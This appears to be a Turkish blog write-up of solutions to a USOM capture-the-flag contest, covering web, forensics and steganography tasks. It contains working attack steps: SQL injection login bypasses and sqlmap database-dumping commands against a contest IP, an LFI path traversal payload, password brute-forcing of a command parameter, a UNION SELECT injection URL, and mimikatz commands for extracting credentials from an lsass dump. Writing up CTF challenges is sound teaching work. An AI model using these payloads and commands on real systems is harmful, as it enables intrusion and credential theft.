Merhaba arkadaşlar bilindiği gibi USOM aracılığı ile bir CTF düzenlendi ve bizde buna katılma ihtiyacı duyduk. Bizler ne etik hackerız nede bu alanda çalışıyoruz. Biz sadece programlama ve birtakım bilgiler ile CTF’ler de neler yapabileceğimize bakıyoruz.
CTF başladığında haliyle siteye girip soruları çözemedik bunda en büyük etken yarışma başladığında kurumun hiçbir şekilde Anti-ddos araçları ile siteyi korumamış olması ayrıca sistemin düzgün çalışmaması neyse her yerde olabilir vs deyip birkaç soruya girebildik ve çözmeye başladık
Ancak belirtmek istiyorum. Oldukça fazla bir şekilde cevap paylaşımı ve çoklu grup kafası yüzünden ciddi anlamda geçerliliği sorgulanması gerekiyor üstelik bu yarışma yaklaşık 6 Saat kadar bir süre saldırı kaynaklı kesintiye uğradı ve bizde dahil cevaplarımızı giremedik
Sisteme giriş yaptığımızda ise pek çok gurubun yüksek puanlara geçmiş olduğunu gördük. İnsanlarda haklı olarak twitter hesaplarından tepkide bulundular.
Soru 1
“İyi bak “ Bu soruda ilk olarak size bir adet resim veriyor ve bu resimden yola çıkarak cevabı bulmanız isteniyor. Resmi google aracılığı ile arattığımızda para ile alınmış olabileceğini düşündük ve biraz araştırma yaptık daha sonra basitten zora gidiyordur diye bi exiftool
aracılığı ile comment ve copyright baktık ama soruda “iyi bak” dediği için daha sonrasında resme odaklandık
Her neyse resmin boş olduğunu anladıktan sonra curl atıp bakalım dedik birde ne görelim FLAG
olarak orada bulunuyordu
335286429afb2a2344079fe68764a1e0
Soru 2
“Bakalım ne kadar iyisin?” Bu soruda ise basit bir login ekranı geliyor karşımıza ne kadar iyisin diyor sonrada bize ilk başta ekip olarak biz bi xss ya da sql inj deneriz çünkü basitten zora gitmek gerekir biraz kurcaladıktan sonra altta yazan mesaja odaklandık kullanıcı adını bulmamız bu sayede zor olmadı 🙂
Kullanıcı adı: Yonetici
Şifre: 1’or’1’=’1
Olarak sisteme giriş yaptık cevabı deli gibi sitede aradık hatta giriş yaptın bölümündeki değerleri deneyen arkadaşlarımız bile oldu bu soruyu uzun süre yapamadık siteye yapılan ddos saldırıları ve kesintiler aslında bu konuda başımızı baya ağrıttı kimi zaman soruların alanlarına da ulaşamadık her neyse
Burp suiteyi browser ile beraber çalışacak hale getirin( burp suite -> Proxy -> Options(burada 127.0.0.1:8080 var ve tikli ise)
browser(iceweasel) -> preferences -> advanced options -> Connection -> Manual Proxy Connection HTTP Proxy 127.0.0.1 Port 8080 yapın kaydedin.
Burpta intercept off olarak ayarlayın.
Iceweaselda açın.
Sayfa yüklendikten sonra burpta intercept ON
yapın.
Kullanıcı adı: Yonetici
Şifre: ‘or ‘1’=’1
Olarak yollayın.
Burp RAW sekmesinde bir post data yakalamış olacaktır.
POST /fc00914149de9f33c30cf0164ec4db95/ HTTP/1.1
Host: 85.111.95.37
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.3.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
Cookie: PHPSESSID=h2041ov1n3ukbfqjmlc0pu7657
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
kullaniciadi=Yonetici&parola=%27or%271%27%3D%271
Ve bu datayı kopyalayın sql2.txt olarak Root Home içersine kayıt edin. Yeni terminal açın sqlmap -r sql2.txt -p parola //yazın password kısımının sql injectiona açık olduğunu bulacaktır. Çıkan sorulara yes deyin database in mySQL
olduğunu bulacaktır. Olaylar buradan sonra başlayacak
database adını bulacaksınız. 2 adet database buluyor teki information_sc bunu geçin klasik hepsinde olan diğerdir diğeri ise bizim aradığımız
Adı: web2
sqlmap -u "http://85.111.95.37/fc00914149de9f33c30cf0164ec4db95" --data="kullaniciadi=Yonetici&parola='or '1'='1" --dbs
Tabloları çekmek için
sqlmap -u "http://85.111.95.37/fc00914149de9f33c30cf0164ec4db95" --data="kullaniciadi=Yonetici&parola='or '1'='1" --tables -D web2
kullanicilar diye tek bir tablo bulucak.
Kolonları çekmek için
sqlmap -u "http://85.111.95.37/fc00914149de9f33c30cf0164ec4db95" --data="kullaniciadi=Yonetici&parola='or '1'='1" --columns-D web2 -T kullanicilar
Bunun sonucunda aşağıdaki gibi bir sonuç çıkacak
id int(255)
kullaniciadi varchar(255)
parola int(255)
Kolonlardaki verileri çekmek için
sqlmap -u "http://85.111.95.37/fc00914149de9f33c30cf0164ec4db95" --data="kullaniciadi=Yonetici&parola='or '1'='1" --dump -D web2 -T kullanicilar
2 adet Kullanıcı bulucak teki Yonetici
diğerinin adı “FLAG:” FLAG kullanıcısının parolası
f4aa0edc033b9dfcc676c33420996789
Kaynak: Alpcan ONARAN
Soru 3
Yetkili bir kullanıcı ile giriş yapman lazım. Sorusuna gelelim bu soruda ise sistemde zaten hali hazırda giriş yapmış olduğumuzu biliyoruz. Ancak bize daha yetkilisini bulmamızı söylüyor. Ve sayfa ilk giriş yaptığımızda bize çerez olarak
isAdmin=cfcd208495d565ef66e7dff9f98764da
Yukarıdaki yükleniyor hemen ardından ise çıkış yaptığımızda bu değeri sistemden siliyor. Biz bu değeri bir decode edelim dedik karşımıza 0
çıktı cevap haliyle bu olamazdı
Soru 4
“Elimizde bir flash bellek var, içerisindeki resimlerden biri bize lazım.” adlı sorumuza geldi sıra buradada bize verdiği dosya sözde bir disk imajı
ef2a36ae56f254dd6adf716dffc84264: DOS/MBR boot sector, code offset 0x52+2, OEM-ID "NTFS ", sectors/cluster 8, Media descriptor 0xf8, sectors/track 62, heads 247, hidden sectors 2048, dos < 4.0 BootSector (0x80), FAT (1Y bit by descriptor); NTFS, sectors/track 62, sectors 102399, $MFT start cluster 4, $MFTMirror start cluster 6399, bytes/RecordSegment 2^(-1*246), clusters/index block 1, serial number 013e61d99342ea2e1; contains Microsoft Windows XP/VISTA bootloader BOOTMGR
Buraya kadar herşey normal şimdi sıra dosyaya binwalk
ile bakmaya içerisinde neyin olup bittiğini görebileceğiz bu sayede
binwalk ef2a36ae56f254dd6adf716dffc84264 > dump.txt
Dosya içerisinde birden fazla PDF ve Resim olduğunu görüyoruz. Şimdi bunları dd ile tek tek çıkartmaya geldi
dd if=ef2a36ae56f254dd6adf716dffc84264 of=new.jpeg skip=14433399 bs=1
dd if=ef2a36ae56f254dd6adf716dffc84264 of=new2.jpeg skip=14516838 bs=1
dd if=ef2a36ae56f254dd6adf716dffc84264 of=new3.jpeg skip=28406368 bs=1
dd if=ef2a36ae56f254dd6adf716dffc84264 of=new4.jpeg skip=29052314 bs=1
dd if=ef2a36ae56f254dd6adf716dffc84264 of=new5.jpeg skip=29241403 bs=1
dd if=ef2a36ae56f254dd6adf716dffc84264 of=new6.jpeg skip=33026056 bs=1
dd if=ef2a36ae56f254dd6adf716dffc84264 of=new7.jpeg skip=33062920 bs=1
dd if=ef2a36ae56f254dd6adf716dffc84264 of=new8.jpeg skip=33062950 bs=1
dd if=ef2a36ae56f254dd6adf716dffc84264 of=new9.tiff skip=33062950 bs=1
dd if=ef2a36ae56f254dd6adf716dffc84264 of=new0.jpeg skip=45166530 bs=1
dd if=ef2a36ae56f254dd6adf716dffc84264 of=new11.jpeg skip=49163867 bs=1
dd if=ef2a36ae56f254dd6adf716dffc84264 of=new12.jpeg skip=49279925 bs=1
Çıkarttığımız resimler içerisinde benim dikkatimi en fazla çeken usomun logosunun bulunduğu ve resim headeri bozuk olandı
Herhangi bir hex aracı ile resmi açıyorsunuz ve header bilgisini düzeltiyorsunuz uzun uzun anlatmayacağım mantığını şu site aracılığı ile öğrenebilirsiniz. Rebuilding an Image Header
Daha sonra resmi düzelttikten hemen sonra herhangi bir exif aracı ile ki ben “exiftool” seçtim bilgilere bakıyoruz.
mertcan@0x2e88ce4:~/Desktop$ exiftool exifusom.png
ExifTool Version Number : 10.37
File Name : exifusom.png
Directory : .
File Size : 87 kB
File Modification Date/Time : 2017:01:21 14:23:12+03:00
File Access Date/Time : 2017:01:21 14:23:20+03:00
File Inode Change Date/Time : 2017:01:21 14:23:26+03:00
File Permissions : rw-r--r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 962
Image Height : 421
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Exif Byte Order : Little-endian (Intel, II)
Copyright : D0sy4kurt4rmA_B1ziM-1$iM1Z
Thumbnail Offset : 94
Thumbnail Length : 3755
Pixels Per Unit X : 11811
Pixels Per Unit Y : 11811
Pixel Units : meters
Software : Adobe ImageReady
Warning : Truncated PNG image
Image Size : 962x421
Megapixels : 0.405
Thumbnail Image : (Binary data 3755 bytes, use -b option to extract)
Ve sonunda bayrağımıza ulaştık
Copyright : D0sy4kurt4rmA_B1ziM-1$iM1Z
Değerin md5 hash halini alıyoruz ve işlemimiz burada bitiyor.
0679ce1ac69b580a695fc8308bfd2116
Soru 5
“Parolayı bul ve bize gönder !” başlıklı bu soruda ise bize site içerisinde kaynakta gözükecek şekilde obfuscate edilmiş yani karıştırılmış bir JS kodu verilmiş ve bizden bunu çözmemiz isteniyor. İlk olarak kodu düzeltelim
$(document)['ready'](function() {
$('#loginform')['submit'](function(_0x34b0x1) {
_0x34b0x1['preventDefault']();
var _0x34b0x2 = true;
var _0x34b0x3 = $('input[name="username"]')['val']();
var _0x34b0x4 = $('input[name="password"]')['val']();
var _0x34b0x5 = new Array('b5', '1c44', 'c6', '24c1', 'e6', '2b93', 'da', '1fd4', 'b1');
if (CryptoJS.MD5(_0x34b0x3).toString() === '2dfa843b02427819d8bdf8271bb84a3c' && _0x34b0x4['length'] === (18 / 3 + 6 - 3)) {
for (i = 0; i < _0x34b0x3['length']; i++) {
if (i % 2 === 0) {
if (((_0x34b0x3['charAt'](i)['charCodeAt'](0)) + (_0x34b0x4['charAt'](i)['charCodeAt'](0))).toString(16) !== _0x34b0x5[i]) {
_0x34b0x2 = false;
break;
}
} else {
if (_0x34b0x5[i] !== ((_0x34b0x3['charAt'](i)['charCodeAt'](0)) * (_0x34b0x4['charAt'](i)['charCodeAt'](0))).toString(16)) {
_0x34b0x2 = false;
break;
}
}
};
if (_0x34b0x2) {
alert('Bau015Faru0131lu0131 iu015Flem')
} else {
alert('Hatalu0131 iu015Flem')
};
} else {
alert('Kullanu0131cu0131 adu0131 veya u015Fifre yanlu0131u015F')
};
})
});
Şimdi bu düzelttiğimiz kodların içerisinde yukarıda bulunan ve benim dahil etmediğim bir var bulunuyor çünkü bunun içerisinde sadece kullanıcı adı bulunuyordu oda md5 formatında verilmişti.
2dfa843b02427819d8bdf8271bb84a3c
Şimdi burada belirlememiz gereken tek şey şifre idi koda baktığımızda kullanıcı adının uzunluğunun 8 şifrenin ise 9 olması gerektiği idi bunu attık kenara zaten kullanıcı adı “alpaslan” yani md5 değerinin çözülmüş hali idi
Şifreyi çözmek içinse şöyle bir yol izlendi
##Adım 1 -
_0x4831 HEX > ASCII
"""
input[name="username"]
input[name="password"]
b5
1c44
c6
24c1
e6
2b93
da
1fd4
b1
2dfa843b02427819d8bdf8271bb84a3c
length
charCodeAt
charAt
Başarılı işlem
Hatalı işlem
Kullanıcı adı veya şix66re yanlış
submit
#loginform
ready
##Adım2
_0x4831[13] > MD5 Crack > alparslan
##Adım 3
_0x34b0x5 > HEX > Decimal
181
7236
198
9409
230
11155
218
8148
177
##Adım 4
alparslan > Stplit Keys > Char Code
97
108
112
97
114
115
108
97
110
##Adım 5
a-b OR a/b > Char
181-97=84 T
7236/108= C
198-112=86 V
9409-97=97 a
230-114=116 t
11155/115=97 a
218-108=110 n
8148/97=84 T
177-110=67 C
Şifre olarak ise çözümlemeler sonucunda uzunluğu 9 olan bir şifre elde ettik TCVatanTC
Ayrıca sayfanın title baktığımızda BS yazdığını da gördük yani alpaslan demek istediği Büyük Selçuklu olabilirdi yada bi s…. git diyerek küfür ediyo da olabilirdi ancak sonuca ulaşabilmiştir.
d66ab2522c55a041661ff6526c99c36d
Soru 6
“Holowy Conz den beklediğimiz mesaj geldi, acaba nedir ?” olarak karşımıza bir resim çıkıyor. Haliyle bu bir steghide sorusu zorlanacağımızı düşündüysek de 10 sn kadar bir süre aldı çözmemiz
Herhangi bir unhide sitesine giriyoruz ve resmi siteye yüklüyoruz. Bu iş için biz Image Steganography sitesini kullandık sonuç olarak bize aşağıdaki gibi bir çıktı geldi ve hemen bir barkod okuyucu ile cevabı aldık
ve sonuç olarak kare barkod da “siberstar” çıktı bunun md5 değerini alıyoruz.
0b6f6a0a8520da0839e5e3075df924fa
Ancak haliyle cevap bu değil daha sonra biz düşündük ki Hackerın oğlu adlı CTF de bulduğumuz bir değer vardı google ve github araması yaparak bayrağa ulaşmıştık bu tarz bir soru olabileceğini düşündük ve direk olarak google aramalarına başladık
İlk olarak
- github
- gitlab
- bitbucket
Derken twitter’da bir adet hesap çıktı karşımıza ve siber starımı arıyorsun?
yazıyordu altında da ilginç ve bol aa
içeren bir mesaj,
Daha sonra google araması yapmaya devam ettik bu neyin şifrelemesiydi yada neyi işaret ediyordu diye soru steg sorusu olduğu için googlede Twitter Steganography
olarak arama yaptık karşımıza java ile yazılmış bir adet tool ve online bu işlemin yapılabileceği bir web sitesi çıktı direk olarak kopyala yapıştır yaptıktan sonra IRC kanalını işaret ediyordu haliyle bayrağı buradan elde ettik.
Soru 7
Algoritmada ne kadar hizlisin ? Bu soruda bize sıralı bir dizi vermiş ve bizden sıralı olarak gidenleri bulmamızı istiyor.
Bir silsileden(sequence) sifir yada daha fazla eleman atilarak elde edilen silsileye alt silsile denir. Alt silsileler arasinda silsile elemanlari sirali olanlara sirali alt silsile denir. Ornegin (1,5,6,3,4,2,9,10,11) silsilesinden elden edilen (1,5) ve (2,9,10) birer sirali alt silsiledir. Ayni zamanda (2,9,10,11) silsilesi en fazla uyeye sahip sirali alt silsiledir. Buna gore asagida elemanlari onaltilik (hexadecimal) sayi sisteminde verilen silsilenin en fazla elemana sahip sirali alt silsilesi nedir.
Not: Cevap (1,25,216) formatinda (bosluksuz,virgullu ve parantezli) olmalidir. Elemanlar onluk (decimal) sayi sisteminde olmalidir.
Soru Silsilesi:
(0x9a,0x85,0x9e,0xac,0xaa,0xc4,0xa4,0xbb,0xbe,0x9a,0x64,0x9e,0x8e,0x9b,0x70,0xb4,0x81,0xa3,0x81,0x9b,0x9c,0x68,0x68,0x8b,0x6b,0x83,0x70,0x81,0xb2,0xb9,0x75,0xa7,0xb2,0x98,0x7a,0x90,0x92,0xc0,0xbf,0x64,0x75,0x68,0x7a,0xc5,0xa2,0xaa,0xab,0xc4,0x78,0x6c,0xab,0xbb,0xb5,0x7c,0x95,0xa4,0xb2,0x73,0x84,0xa0,0x88,0x96,0x72,0x8d,0xac,0x85,0xa7,0xad,0x82,0x9d,0xab,0x99,0x7c,0x72,0x6d,0x6b,0x8c,0x8a,0xa7,0x7d,0x68,0x86,0xaf,0xbb,0x79,0x83,0x8c,0x7b,0x72,0xb2,0x6f,0x77,0xb6,0xb8,0xf4,0xF6,0x8c,0x67,0xb6,0xb5)
Hex formatında verdiği içinde buna göre bazı işlemler yapmamız gerekiyordu haliyle
liste="0x9a,0x85,0x9e,0xac,0xaa,0xc4,0xa4,0xbb,0xbe,0x9a,0x64,0x9e,0x8e,0x9b,0x70,0xb4,0x81,0xa3,0x81,0x9b,0x9c,0x68,0x68,0x8b,0x6b,0x83,0x70,0x81,0xb2,0xb9,0x75,0xa7,0xb2,0x98,0x7a,0x90,0x92,0xc0,0xbf,0x64,0x75,0x68,0x7a,0xc5,0xa2,0xaa,0xab,0xc4,0x78,0x6c,0xab,0xbb,0xb5,0x7c,0x95,0xa4,0xb2,0x73,0x84,0xa0,0x88,0x96,0x72,0x8d,0xac,0x85,0xa7,0xad,0x82,0x9d,0xab,0x99,0x7c,0x72,0x6d,0x6b,0x8c,0x8a,0xa7,0x7d,0x68,0x86,0xaf,0xbb,0x79,0x83,0x8c,0x7b,0x72,0xb2,0x6f,0x77,0xb6,0xb8,0xf4,0xF6,0x8c,0x67,0xb6,0xb5"
for i in liste.split(","):
print int(i,16)
Şeklinde kodumuzu yazdık ve dönüştürme işlemine geçtik okunabilir hale aşağıdaki gibi getirdik ve başladık içerisinde gözümüz ile aramaya
[154, 133, 158, 172, 170, 196, 164, 187, 190, 154, 100, 158, 142, 155, 112, 180, 129, 163, 129, 155, 156, 104, 104, 139
, 107, 131, 112, 129, 178, 185, 117, 167, 178, 152, 122, 144, 146, 192, 191, 100, 117, 104, 122, 197, 162, 170, 171, 19
6, 120, 108, 171, 187, 181, 124, 149, 164, 178, 115, 132, 160, 136, 150, 114, 141, 172, 133, 167, 173, 130, 157, 171, 1
53, 124, 114, 109, 107, 140, 138, 167, 125, 104, 134, 175, 187, 121, 131, 140, 123, 114, 178, 111, 119, 182, 184, 244,
246, 140, 103, 182, 181]
Baktığımızda bizden istediği şu olabilirdi.
(124,149,164,178)
veya
(111,119,182,184,244,246)
En uzun olanı seçiyoruz burada çünkü bize en uzun olanı soruyor. Oda ikinci bulduğumuz idi hemen md5 değerini alıyoruz.
ce549031ea58a4a7493dde46a2c71357
Soru 8
Splinter’ın bilgisayarından önemli veriler aldık, bunların ne olduğu bul ve bize bildir. Bu soruda ise bize bir adet ne olduğu belirsiz bir dosya veriyor ancak dosyayı sistemimize indirip file
ile baktığımızda bunun bir pcap dosyası olduğunu görüyoruz.
içerisinde ise host tarafına bağlanan bir USB belleğin paketleri bulunuyordu. “URB_INTERRUPT” ve cihaz bilgisi vs şimdi burada yapmamız gereken bir kaç işlem var öncelikli olarak bunlara karar verelim.
tshark -r splinter -T fields -e usb.capdata > dump.txt
İşlemi yaptık bu işlemden sonra bize bir takım MAC adreslerine benzeyen ama cihaz hakkında bilgi sağladığını biliyorduk hemen googlede ufak bir arama yaptık ve bu konuda google CTF de bir makele bulduk aramak o kadarda uzun sürmedi daha sonra bunun usb bellek olmadığını bir fare olduğunu anladık bu bizim içinde bir ilk oldu forensic konusunda eksik olduğumuzuda haliyle anlamış olduk 🙂
awk -F: 'function comp(v){if(v>127)v-=256;return v}{x+=comp(strtonum("0x"$2));y+=comp(strtonum("0x"$3))}$1=="01"{print x,y}' dump.txt > sirali.txt
-1084 -79
-1084 -79
-1083 -80
-1083 -86
-1083 -89
-1083 -97
ve devam eden satırlar gördük sonra makaledede belirttiği gibi gnuplot
kullanarak bir çizim elde ettik bu çizimde ise fareyi_buldum
yazıyordu. Bu değeri MD5 olarak çevirdiğimizde ise cevabı elde etmiş olduk
a9930510d6923f409fcdba49f8280a3f
Kullandığımız makale ise Google CTF 2016 Forensic
Soru 9
Şimdi de uygulamanın kullandığı veritabanı parolası lazım Sorusuna geldik soruya geldiğimizde bizi ilk başta bi 404 hatası karşılıyordu. Çoğu kişi bu sayfanın gerçek olduğunu sanıp soru çalışmıyor diye twitterdan yazmaya başladı aslında olay CTRL + U
bastığımızda sayfanın en altında gizlenmiş bir div içerisinde bulunan form ile gerçekleşiyordu F12 aracılığı ile tarayıcı tarafında style
dosyasında bulunan değerleri kaldırdığınızda karşınıza 2 adet input ekranı geliyor haliyle buralar basittir diyip direk olarak admin
yazdık ve içerdeydik veya jsfiddle gibi araçlar ile admin
değeri ile post isteği attığınızda içeriye girebiliyorsunuz.
Her neyse karşımıza şu şekilde bir ekran geliyor ve aşağıda da ufak bir hata bulunuyordu ayrıca link yapısına baktığımızda bunun bir LFI olduğunu anlamak hiçte zor olmadı
Şimdi bu hata ışında biraz kurcalayalım. Bir kaç alt dizine inmemiz gerekiyor aslında çok değil hataya bakıldığında maximum 3 dizin aşağıya gitsek bu iş tamam bunun için ise biz şöyle bir payload seçtik
../db.php
linkimiz ise şu şekilde olacaktı
dd96a95ce40af42633d10802bd419bc5/sanayihirsizligi/index.php?file=..%2Fdb.php
urldecode ettiğinizde yukarıda vermiş olduğum payload olduğunu anlayabilirsiniz. Bu bilgiler ışığında oluşturduğumuz link ile girdiğimizde flag
bir anda önümüze çıktı FLAG: Om3rHal1sD3MIR
Bu değeride md5 formatına çevirdiğimizdede cevabımız tamamen hazırdı zaten
0ae4ce5c35afcc6f88501b24f8498c0f
Soru 10
Bu görev önünde iki seçenek var : başarılı olursun veya olamazsın Bu soruda ilk olarak bi login kısmı geliyor burası basit zaten adam sana admin olarak gir
diyor.
Kullanıcı adı: admin
Şifre: admin
Peki bundan sonra ne geliyor. Komutu çalıştıracak şifreyi bulmaya ve komutu çalıştırmaya komut zaten ls
ancak komutu çalıştırmak için bizden bir adet şifre istiyor. Biraz uğraştıktan sonra elime geçen bir wordlist aracılığı ile get metodu kullanılan linke zorlama yaptık ve şifre karşımıza çıktı adminlele
9f0f364f34fc230630922d7c4ce66d68/cannotfindme/?pass[]=adminlele&cmd=ls
Giriş yaptıktan sonra ise içeride 3 adet dosya gözüküyor bize oda şöyle ki
index.php
readme.txt
try.html
Bunlar içerisinde readme.txt
ve try.html
gözümüze çarpıyor. kontrol ediyoruz. try.html
dosyası içerisinde ise aşağıdaki satır yer alıyor.
read file /tmp/isThatFlag.txt
Tabi burada bazı arkadaşlar gidip dosyayı bulup okumak isteyeceklerdir. Ancak ana bizim girdiğimiz dosyanın adının try
olduğunu göz önünde bulundurarak direk yukarıdaki değerin md5 halini aldık ve sonuç olumlu oldu
fc5b4590ba6b20619556c126d7aa101f
Soru 11
Yapabileceğine inancımız tam. Bu sorudada öncelikli olarak linki baya bi kurcaladık ne var ne yok diye bakma isteği duyduk sonra get isteği atmaya sql map ile denemeye başladık ilk olarak yüksek hızlı tarama işlemi yapınca site requestleri drop etmeye başladı bizde dedik bu böyle olmaz bir takım kısıtlamalar ile taramaya devam ettik şu şekilde bir URL elde ettik
index.php?id=1' UNION ALL SELECT NULL,CONCAT(0x716b626b71,0x756a64567375626642615a5042756b5551576d4345784d6e527a526545734a6c585a4a4745766175,0x71786b6271)-- mmYT--
Soru 12
Zararlı bir hacker’ın bilgisayarından veri elde ettik, içerisindeki hackerin şifresini bulabilir misin ?
Bu soruda bizlere bir dosya verilmişti.
- Dosya ismi : usom-forensics
Bu gibi sorularda ilk olarak yapmamız gereken şey dosya hakkında bilgi almak için “file” komutunu kullanmaktır. Bizde bu soruda bu komu ile dosyayı incelediğimizde aşağıdaki gibi bir sonuç ile karşılaştık.
- Komut: file usom-forensics
Bu bilgiden sonra “mv” komutu ile dosyanın uzantısını değiştiriyoruz.
- Komut: mv usom-forensics usom-forensics.7z
Daha sonra “7za” aracı ile dosya içerisindeki veriyi çıkartıyoruz.
- Komut: 7za e usom-forensics.7z
İçerisindeki veri tekrar file komutu ile incelendiğinde bir data olduğu bilgisini alıyoruz. Bu işlemden sonra volatility aracı ile incelemeye alıyoruz.
Bunun için ilk olarak image hakkında bilgi almak için aşağıdaki komutu kullanıyoruz.
- Komut: volatility -f usom-forensics imageinfo
- “-f”: incelenecek dosya tanımlanır.
RAM imajı analizi sorularında genelde ilk yapılması gereken şey, “pslist” komutu ile çalışan işlemleri listelemek ve sistemde o anda ki işleyiş hakkında bilgi sahibi olmaktır.
- Komut: volatility -f usom-forensics –profile=Win7SP0x86 pslist
Bu çıktı sonucunda dikkat çeken işlemler:
- mspaint.exe
- notepad.exe
- lsass.exe
mspaint.exe dumpı alınıp gimp ile incelenip üzerine çalışılan resim üzerinden bilgi elde edilebilir. CTF lerde bu tarz sorular görüyoruz. Ancak böyle bir inceleme sonucunda aşağıdaki gibi bir sonuç ile karşılaştık.
Zaten bize sorulan şey bir parolaydı.
- Soru: Zararlı bir hacker’ın bilgisayarından veri elde ettik, içerisindeki hackerin şifresini bulabilir misin ?
Bu nedenle volatility içerisinde kullanılabilen hashdump parametresi de denenebilirdi. Ancak burda da tatmin edici bir sonuç yoktu.
“pslist” dışında en çok işinize yarayacak bir diğer parametre “filescan” parametresidir.
Dosya üzerinde “filescan” çalıştırıldığında flag adı ile bazı dosyalar olduğu gözlemlenmiştir.
- Komut: volatility -f usom-forensics –profile=Win7SP0x86 filescan
Bu veriler “dumpfiles” parametresi ile elde edilebiliyordu.
Elde edilen bu verilerden flag.txt incelendiğinde lsass dump dosyasına ait bir link elde ediliyordu.
Bu dump mimikatz ile incelendiğinde parola elde edilebiliyordu.
Adımlar:
- privilege::debug
- sekurlsa::minidump lsass
- sekurlsa::logonPasswords
Asıl Kaynak: Besim ALTINOK
Soru 13
Nedir bu sence ? Sorusunun ne olduğunu her ne kadar anlasak da cevaba ulaşamadık altın oran sorusu olup fibonacci ile rabbit seq arasında bir ilişki bulunmakta
Yardımlarından dolayı
- Yasin YAMAN
- Ömer İPEK
- Yusuf GENÇ
- Onur KOLAY
- Furkan KALKAN
- ve diğer tüm arkadaşlarıma teşekkürlerimi sunarım.